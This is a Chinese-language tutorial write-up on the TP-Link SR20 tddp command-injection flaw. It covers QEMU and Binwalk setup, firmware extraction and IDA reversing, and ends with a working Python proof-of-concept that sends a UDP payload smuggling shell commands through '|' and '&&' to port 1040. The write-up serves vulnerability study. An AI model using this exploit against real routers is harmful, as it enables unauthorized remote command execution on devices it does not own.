TP-Link SR20 漏洞的解析和漏洞证明代码(POC)比较简单,适合像我这样的新手学习和复制。 首先,我们从官方网站下载固件 路由器的二进制文件大多是arm或者mips而我们的Linux大多数是amd结构不兼容。因此,我们需要配置一个arm架构的Linux虚拟机 为了在amd上模拟arm我们需要下载架构 QEMU来进行模拟
wget https://download.qemu.org/qemu-3.1.0.tar.xz # 下载源码 tar xvJf qemu-4.0.0-rc1.tar.xz #解压源代码压缩包 cd qemu-4.0.0-rc1 # 进入源码目录 ./configure --target-list=arm-softmmu --audio-drv-list=alsa,pa # 编译前配置 $ make # 编译
安装 Binwalk
Binwalk 它是一种文件分析工具,旨在帮助研究人员分析、提取和逆向工程
sudo apt install git git clone https://github.com/ReFirmLabs/binwalk cd binwalk python setup.py install sudo ./deps.sh $ Debian/Ubuntu 可直接使用系统用户 deps.sh 所有的脚本安装依赖
虚拟机配置
从Ubuntu关于官网下载arm虚拟机镜像的架构 为虚拟机创建硬盘空间
qemu-img create -f qcow2 hda.qcow 8G
编写启动脚本
qemu-system-aarch64 -m 2048 -cpu cortex-a57 -M virt -bios QEMU_EFI.fd -nographic -drive if=none,file=hda.qcow2,id=hd0 -device virtio-blk-device,drive=hd0 -net nic,macaddr=00:16:3e:00:00:04 -net tap -smp 4 -nographic
虚拟机线流程安装虚拟机,配置大致如此 然后是网卡的设置,建议跟着这个 进行配置
逆向分析
我们下载的固件不是一个可以分析的文件。我们必须先使用它binwalk来进行提取
binwalk -Me file.bin
提取后的文件 其中squashfs-root这就是我们要分析的。 在文件系统目录下发现漏洞 tddp 文件类型可以看到 ARM 架构的小端(Small-Endian)32 位 ELF 文件 将tddp放到ida 32逆向分析 可以看出,三个是获取相应参数的值 进入936c查看 这里设置sockopt交互输出tddp task start,说明互动从此开始
我们继续往下面看,进入data handle 看看 这里有一个 recvfrom 接收函数 socket 数据,存放到 a1 0xB01B 在地址中,然后将 a1 传入 CMD_handle 函数。
跟进去看看 看到了cmd,说明这里调用处理指令,锁定到0x31进行分析 这里调用了 sscanf 函数分析传入的结构后,拼接到 run_exec 命令在函数中执行。但是这里的过滤并不严格(只是判断 ; 没有过滤的字符 & 和 | 符号),可注入命令,导致任何命令可以在拼接恶意代码后执行。
验证
首先,我们启动虚拟机,根目录,挂载
mount -o bind /dev ./sqashfs-root/dev/
mount -t proc /proc/ ./squashfs-root/proc/
chroot squashfs-root sh
使用 nmap 的 UDP 扫描端口是开放的 我们要想触发漏洞,就得让case为0x31,也就是a1+0xB01C的地方为0x31
我们x来跟进追寻一下a1的踪迹 这里v16是a1+0xB01B的指针位置,而下面要求v21,也就是要求v161,所以第一个0xB01B字节应该是0x01来进过检查,然后就是0xB01C的位置是0x31来触发漏洞 但是指针后移12位,因此中间需要填充 payload如下
脚本如下
from pwn import *
from socket import *
import sys
tddp_port = 1040
recv_port = 12345
ip = sys.argv[1]
command = sys.argv[2]
s_send = socket(AF_INET,SOCK_DGRAM,0)
s_recv = socket(AF_INET,SOCK_DGRAM,0)
s_recv.bind(('',12345))
payload = '\x01\x31'.ljust(12,'\x00')
payload+= "123|%s&&echo ;123"%(command)
pay=bytes(payload,'utf-8')
s_send.sendto(pay,(ip,tddp_port))
s_send.close()
res,addr = s_recv.recvfrom(1024)
print (res)
执行脚本
python exp.py 192.168.153.135 "uname|ls"
结果 可以看到这里确实是弹出来shell,但是不能打开/dev/null,估计是虚拟机和固件的问题,如果有真机应该不会这样